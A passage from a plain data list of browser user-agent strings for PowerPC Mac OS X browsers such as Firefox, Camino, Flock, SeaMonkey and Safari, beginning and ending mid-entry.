Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060119 Camino/1.0b2+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060214 Camino/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060217 Flock/0.5.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060307 Camino/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1) Gecko/20060331 Flock/0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070224 Firefox/1.5.0.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.10) Gecko/20070228 Camino/1.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060316 Firefox/1.5.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.2) Gecko/20060328 Firefox/1.5.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060427 Camino/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.3) Gecko/20060503 Camino/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060604 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060612 Firefox/1.5.0.4 Flock/0.7.0.17.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060613 Camino/1.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.4) Gecko/20060620 Firefox/1.5.0.4 Flock/0.7.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.5) Gecko/20060731 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.7) Gecko/20060911 Camino/1.0.3 (MultiLang) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061003 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061013 Camino/1.0+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061013 Camino/1.0+ (Firefox compatible) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061025 BonEcho/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061026 BonEcho/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1) Gecko/20061026 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.11pre) Gecko/20071206 Firefox/2.0.0.11 Navigator/9.0.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.19) Gecko/20081204 SeaMonkey/1.1.14 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070221 SeaMonkey/1.1.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070223 BonEcho/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.2) Gecko/20070224 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070321 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.3) Gecko/20070329 BonEcho/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.5pre) Gecko/20070710 Firefox/2.0.0.4 Navigator/9.0b2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.8) Gecko/20071101 Firefox/2.0.0.8 Flock/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a2) Gecko/20060512 BonEcho/2.0a2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1a3) Gecko/20060528 Camino/1.0+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060721 Camino/1.0+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060807 Camino/1.0+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b) Gecko/20050217 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b2) Gecko Camino/0.9+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050914 Camino/1.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051021 Flock/0.4 Firefox/1.0+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20060621 Minefield/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20060707 SeaMonkey/1.5a Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 GranParadiso/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061212 Minefield/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.7.12) Gecko/20050928 Firefox/1.0.7 Madfox/3.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.12) Gecko/20080206 Camino/1.5.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (like Firefox/2.0.0.21pre) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.2pre) Gecko/20070227 Camino/1.1b Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4) Gecko/20070509 Camino/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.4pre) Gecko/20070511 Camino/1.6pre Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.8.1.6) Gecko/20070809 Camino/1.5.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en; rv:1.9a4pre) Gecko/20070404 Camino/1.2+ Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-AR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-AR; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.10) Gecko/20050716 Thunderbird/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.11) Gecko/20050727 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.12) Gecko/20050919 Firefox/1.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.5) Gecko/20041108 Firefox/1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.7.3) Gecko/20040910 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (MultiLang) (like Firefox/2.0.0.21pre) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; hu; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it-IT; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it-IT; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.21) Gecko/20090327 Camino/1.6.7 (MultiLang) (like Firefox/2.0.0.21pre) Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; it; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nb-NO; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nl; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; nl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.2) Gecko/20040804 Firefox/3.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.2) Gecko/20040804 Netscape/7.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; sv-SE; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; af-za) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; af-za) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ca-es) AppleWebKit/522.11.1 (KHTML, like Gecko) Version/3.0.3 Safari/522.12.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; da-dk) AppleWebKit/522+ (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-AT; rv:1.1) Gecko/20020826 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-CH) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-DE) AppleWebKit/85 (KHTML, like Gecko) OmniWeb/v558.46 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-DE; rv:1.0.1) Gecko/20020823 Netscape/7.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-at) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-ch) AppleWebKit/85 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/124 (KHTML, like Gecko) Safari/125.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8 (KHTML, like Gecko) Shiira/1.2.2 Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412 (KHTML, like Gecko) Safari/412 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6 (KHTML, like Gecko) Safari/412.2_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.6.2 (KHTML, like Gecko) Safari/412.2.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/412.7 (KHTML, like Gecko) Safari/412.5_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/416.12 (KHTML, like Gecko) Safari/416.13_Adobe Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.2 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Safari/417.9.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418.9.1 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/419.2 (KHTML, like Gecko) Safari/419.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.10.1 (KHTML, like Gecko) Version/3.0 Safari/522.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/522.11 (KHTML, like Gecko) Version/3.0.2 Safari/522.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.8.5 (KHTML, like Gecko) Safari/85.8.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/124 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.7 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/100 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.4 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.11 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.5 (KHTML, like Gecko) Safari/125.5.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.5.7 (KHTML, like Gecko) Safari/125.12 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.1.1 (KHTML, like Gecko) Safari/312 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/125.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.1 (KHTML, like Gecko) Safari/312.3.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/125 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.5.2 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.3.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8.1 (KHTML, like Gecko) Safari/312.6 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412 (KHTML, like 